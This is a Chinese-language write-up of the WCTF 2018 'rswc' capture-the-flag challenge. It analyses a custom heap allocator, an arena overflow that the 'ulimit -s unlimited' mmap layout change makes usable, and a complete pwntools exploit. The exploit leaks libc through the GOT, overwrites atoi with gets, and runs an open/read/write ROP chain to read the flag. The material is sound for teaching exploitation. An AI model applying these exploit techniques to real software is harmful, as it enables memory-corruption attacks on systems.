WCTF2018-rswc

基本逻辑

这一题也是典型的菜单类题目,共有5个功能:

1
2
3
4
5
0. alloc
1. edit
2. show
3. delete
9. exit

main函数

prepare函数模拟了堆初始化的过程。

prepare函数

其中mmap函数的原型如下:

1
void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);

第三个参数prot表示保护方式:

1
2
3
4
5
#define PROT_READ	0x1		/* page can be read */
#define PROT_WRITE 0x2 /* page can be written */
#define PROT_EXEC 0x4 /* page can be executed */
#define PROT_SEM 0x8 /* page may be used for atomic ops */
#define PROT_NONE 0x0 /* page can not be accessed */

第6行的mmap分配了一块0x1000大小的内存,且不可读、写以及执行,用于对堆的保护。

第11行分配了类似于arena的区域,存放指针,权限为rw。

接着初始化heap的函数init__()

初始化heap

先分配了0x3000内存作为heap,然后再arena中记录heap地址、top地址、heap大小以及已经分配的chunk数量。然后对arena进行了初始化。

arena

alloc函数用于分配新的chunk,关键函数是malloc_memory()

alloc函数

malloc_memory函数首先计算chunk实际的大小,完成对齐的功能。然后检查arena中记录的chunk中有没有处于空闲状态并且大于需求大小的,如果有,就分配该chunk;否则就在top中分配一块。

分配新的chunk

此处可以确定arena的结构:

arena结构

返回到alloc函数后,对新分配的chunk进行初始化,并更新记录第一块的指针first

chunk结构

edit函数用于编辑chunk中的content,输入idx,通过每个chunk的下一地址字段找到下一块。

edit函数

show函数展示chunk的size、content

show函数

dele函数修改下一块地址字段,并将arena中对应的chunk的inuse位置零。

dele函数

漏洞分析

arena分配的大小为0x1000,除去前面32字节的信息字段,一共可以存放254个chunk信息;而heap分配了0x3000,如果按照最小的块32字节大小来分配,一共可以分配0x3000/0x20=384个chunk。因而在分配第255个chunk时,arena就会溢出,但由于arena的下一块是rwx都不可操作的保护区域,这个溢出无法利用。

看出题人的题解,提到了Linux内核中的ulimit和mmap的关系。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void arch_pick_mmap_layout(struct mm_struct *mm)
{
unsigned long random_factor = 0UL;

if (current->flags & PF_RANDOMIZE)
random_factor = arch_mmap_rnd();

if (mmap_is_legacy()) {
mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;
mm->get_unmapped_area = arch_get_unmapped_area;
} else {
mm->mmap_base = mmap_base(random_factor);
mm->get_unmapped_area = arch_get_unmapped_area_topdown;
}
}

当mmap_is_legacy返回1时(旧版),mmap从低地址向高地址增长;当返回0时(新版),mmap从高地址向低地址增长。

1
2
3
4
5
6
7
8
9
10
11
static int mmap_is_legacy(void)
{
//若设置了ADDR_COMPAT_LAYOUT属性,则提供旧版的虚拟地址空间内存
if (current->personality & ADDR_COMPAT_LAYOUT)
return 1;
//判断堆栈大小是否为无限制的
if (rlimit(RLIMIT_STACK) == RLIM_INFINITY)
return 1;
//sysctl_legacy_va_layout可以在/proc/sys/vm/legacy_va_layout中查看
return sysctl_legacy_va_layout;
}

Linux中的ulimit -s命令能够限制进程使用的堆栈大小,当-s的参数为unlimited时,则是对大小不做限制。也就是说,如果在运行程序之前执行该命令,在执行mmap时,就会进入到第二个条件分支,mmap_is_legacy就会返回1。

先看正常情况下,mmap的分配情况。先分配的arena的地址是0x7ffff7ff5000,后分配的heap地址为0x7ffff7ff2000,即当前情况下,mmap是由高地址向低地址增长的,mmap_is_legacy返回的为0。

aren和heap的地址

通过vmmap也能看出mmap的增长方向,最先分配的rwx都不可操作的保护区域,地址在最下面。

vmmap查看内存分配情况

而此时的sysctl_legacy_va_layout的值为0,即使用新版的映射方式从高到低增长。

sysctl_legacy_va_layout的值

接下来执行ulimit -s unlimited,再次运行程序,查看内存。此时先分配的arena地址比后分配的heap地址更小了,即mmap变成了由低地址向高地址增长。

arena和heap地址

在vmmap中,两块区域的位置也发生了变化。

vmmap查看内存

此时就可以利用arena的溢出来覆写heap区域来达成目标了。

还有一点是,本题开启了沙箱保护,只允许进行open、read、write、exit和exit_group操作,也就是不能直接获取shell,但是可以直接读写flag文件来获取flag。

沙箱保护

漏洞利用

分配254个以上的chunk造成arena的溢出。利用arena中chunk info的size字段覆盖heap中chunk的size字段,edit时会造成chunk的content溢出,覆写下一个chunk的“下一地址”(简称next)字段,进而利用show泄露和edit覆写got中函数地址。

漏洞利用示意图

将atoi函数覆写为gets函数,造成栈溢出,进而构造ROP劫持程序执行流。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
import time
context.log_level='debug'

p = process('./rswc')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def alloc(size):
p.recvuntil('> ')
p.sendline('0')
p.recvuntil('size: ')
p.sendline(str(size))
def edit(idx,content):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('index: ')
p.sendline(str(idx))
p.recvuntil('content: ')
p.sendline(content)
def show(idx):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(idx))
def dele(idx):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(idx))

#normal block:0~253
for i in range(0,254):
alloc(16)

#no.254 will cover the first chunk
alloc(256)

#overwrite no.253's ptr
atoi_got = 0x602068
edit(254,'0gur1'.ljust(16,'x')+p64(atoi_got-16))

#leak address
show(254)
p.recvuntil(' content: ')
atoi_addr = u64(p.recv(6)+'\x00\x00')
open_addr = atoi_addr - (libc.symbols['atoi']-libc.symbols['open'])
read_addr = atoi_addr - (libc.symbols['atoi']-libc.symbols['read'])
gets_addr = atoi_addr - (libc.symbols['atoi']-libc.symbols['gets'])
write_addr = atoi_addr - (libc.symbols['atoi']-libc.symbols['write'])
log.info('atoi_addr:%#x' %atoi_addr)

#overwrite atoi_got with gets
edit(254,p64(gets_addr))

libc_base = atoi_addr-libc.symbols['atoi']
pr_addr = libc_base + 0x0000000000021102
prsi_addr = libc_base + 0x0202e8
ppr_addr = libc_base + 0x00000000001150c9
buf = 0x602000+0xa00

#ROP
shellcode= '0gur1'.ljust(0x18,'x')
shellcode+=p64(pr_addr)+p64(0)
shellcode+=p64(ppr_addr)+p64(0x30)+p64(buf)
shellcode+=p64(read_addr)

shellcode+=p64(pr_addr)+p64(buf)
shellcode+=p64(ppr_addr)+p64(0)+p64(0)
shellcode+=p64(open_addr)

shellcode+=p64(pr_addr)+p64(3)
shellcode+=p64(ppr_addr)+p64(0x30)+p64(buf)
shellcode+=p64(read_addr)

shellcode+=p64(pr_addr)+p64(1)
shellcode+=p64(ppr_addr)+p64(0x30)+p64(buf)
shellcode+=p64(write_addr)

p.recvuntil('> ')
p.sendline('1')
p.sendline(shellcode)

time.sleep(1)
p.send('flag.txt')
p.interactive()

参考链接:WCTF 2018 - binja - rswc